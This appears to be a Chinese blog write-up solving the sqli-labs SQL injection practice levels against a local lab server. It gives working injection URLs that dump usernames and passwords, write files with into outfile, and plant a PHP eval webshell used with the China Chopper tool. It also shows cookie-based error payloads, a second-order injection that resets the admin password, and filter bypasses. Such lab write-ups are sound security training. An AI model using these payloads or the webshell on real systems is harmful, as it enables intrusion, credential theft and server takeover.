sqli-labs:Less-1——Less-25a

GET

Less注入方法正确回显错误回显
1基于错误注入查询到的用户名和密码Mysql错误信息
5双注入固定字符串Mysql错误信息
7导出文件注入固定字符串另一固定字符串
8Bool型盲注固定字符串
9Time型盲注固定字符串同一固定字符串

POST

Less注入方法成功回显失败回显错误回显
11基于错误注入用户名和密码 (flag.jpg)无 (slap.jpg)Mysql错误信息 (slap.jpg)
13双注入无 (flag.jpg)无 (slap.jpg)Mysql错误信息 (slap.jpg)
15Bool/Time型盲注无 (flag.jpg)无 (slap.jpg)无 (slap.jpg)

Less-7:导出文件_GET_单引号_双小括号_字符型注入

首先分析分析数字型/字符型及单/双引号注入:

http://localhost:8088/sqlilabs/Less-2/?id=1
http://localhost:8088/sqlilabs/Less-2/?id=1'
http://localhost:8088/sqlilabs/Less-2/?id=1" 

第一、第三条正常,第二条报错:字符型注入

注意:这里要强调一下,一般在Sql查询语句中,单双引号不能同时存在。即数字型/字符型及单/双引号注入能在这三条语句返回的结果判断出来。

分析是否存在括号及个数:

http://localhost:8088/sqlilabs/Less-7/?id=1' and 1=1--+

将查询语句后半段注释掉发现仍报错,说明有括号。依次增加括号个数,直到回显正常。

http://localhost:8088/sqlilabs/Less-7/?id=1')) and 1=1--+

注意:一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。

0x02. 数据库导出文件

尝试导出:

http://localhost:8088/sqlilabs/Less-7/?id=1')) union select * from users into outfile "D:\\1.txt"--+

发现语法并未出错,但Mysql报错,且路径下并未出现文件。
可能原因1:权限不够,需要root权限才能对数据库进行读写操作。
用以下语句测试权限,回显正常:

http://localhost:8088/sqlilabs/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+

说明并非权限不够的问题。
可能原因2:需要在指定的目录下进行数据的导出。
在Mysql命令行中测试:

select * from users into outfile "D:\\1.txt"

Mysql报错,原因是:Mysql数据库需要在指定的目录下进行数据的导出。
secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行load datainto outfile语句和load_file()函数,这些操作需要用户具有file权限。

1. 如果这个参数为空,这个变量没有效果。
2. 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它.
3. 如果这个参数为null,Mysql服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。

于是查看secure_file_priv

show variables like '%secure%'

在指定的位置导出文件:

注意:在Mysql中,需要注意路径转义的问题,即用\\分隔。

0x03. 导出文件注入

以上是通过白盒测试拿到的数据,在正常情况下,我们是不知道数据库名和表名的,可以用之前的注入方法依次得出。

步骤一:字段数

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,3 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步骤二:数据库名

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,user(),database() into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步骤三:表名

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步骤四:字段名

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步骤五:数据

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select * from users into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

0x04. 中国菜刀

中国菜刀是一款专业网站管理软件,用途广泛,使用方便,小巧实用,更多的利用方式是用它来连接放在网站上的木马,来对被攻击的网站进行管理。

在该题中,若能将一句话木马<?php eval($_POST["cmd"]);?>上传至站点的根目录或该web项目的文件夹,即更改secure_file_priv参数,便可用中国菜刀连接webshell地址拿下整个站点。

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.php"--+

将其复制至Sqli-Labs的项目文件夹,使用中国菜刀连接http://localhost:8088/sqlilabs/1.php

可以看到在菜刀中能够管理整个服务器上的文件。

0x05. 导入/导出相关函数

@@datadir——数据库存储路径
@@basedir——Mysql安装路径
dumpfile——导出文件,类似outfile;不同的是,dumpfile一次导出一行,会和limit结合使用
load_file()——将文件导入mysql,用法select load_file("文件路径")

使用select ... into outfile以逗号分隔字段的方式将数据导入到一个文件中:
select * into outfile 'D:\\log1.txt' fields terminated by ',' from log.log1

将刚刚导出的文件log1.txt导入到表log1相同结构的log2中:
load data infile 'D:\\log1.txt' into table aa.log2 fields terminated by ','

使用select * into outfile导出:
select * into outfile 'D:\\test.txt' fields terminated by ',' optionally enclosed by '"' lines terminated by '\n' from test.table

导入:
load data infile '/tm/fi.txt' into table test.fii fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'

fields terminated by ','——字段间分割符
optionally enclosed by '"'——将字段包围,对数值型无效
lines terminated by '\n'——换行符

Less-20: 基于错误的单引号注入cookie

例可利用' or extractvalue(1,concat('~',(select database()))) # 或 ' and extractvalue(1,concat('~',(select database()))) #报错

Less-21:基于错误的单引号注入cookie:base64编码后----修改cookie  ')

可将' and extractvalue(1,concat('~',(select database()))) # 经base64加密后作为cookie发送,换作or后,不报错,不知为何

利用duplicate 报错:and,or皆可

Less-22:基于错误的单引号注入:base64编码----修改cookie "

可将' or extractvalue(1,concat('~',(select database()))) # 经base64加密后作为cookie发送,用and不报错,不知为何

利用duplicate 报错:用and可以报错,用or不可以,不知为何

Less-23:

去除注释,本题注释 --+和%23(#)均被过滤了。故需闭合前面的单引号。可使用union,报错(error based and time based)

Less-24:二次排序注入。二次排序注入也称为存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。

首先注册一个新用户名,包括admin----admin'#(先存入数据库,后备用于注入)

如图,当从session获得当前用户名未经转义--admin'# 的时候后面被注释了,用什么当前密码均无所谓

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

当前密码随意输入,后面改为自己设的新密码(我改的123456)

 就修改成功啦!

Less-25:基于错误_GET_过滤OR/AND_单引号_字符型注入

源代码:

有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:

若是一次性的,且只是将过滤字符换成了空字符:

  • 双写——or=oorrand=anandd

若是非一次性的,就要考虑一些变形:

  • 大小写变形——or=Or=oR=OR
  • 利用运算符——or=||and=&&
  • URL编码——#=%23,Hex编码——~=0x7e
  • 添加注释——/*or*/

本关卡是一次性绕过,所以双写或运算符绕过都可以做到。

看源码可知这里的正则匹配/i同时匹配大小写,所以不能用大小写绕过。

步骤1:数据库名

http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,user(),database()--+

步骤2:表名

http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3--+

这里information中的or也被注释了哈哈哈。

步骤3:字段名

http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3--+

步骤4:数据

http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3--+

password中的or也未能幸免。嘎嘎嘎

Less-25a:基于Bool_GET_过滤AND/OR_数字型_盲注*

这道题不报错 可用25题方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值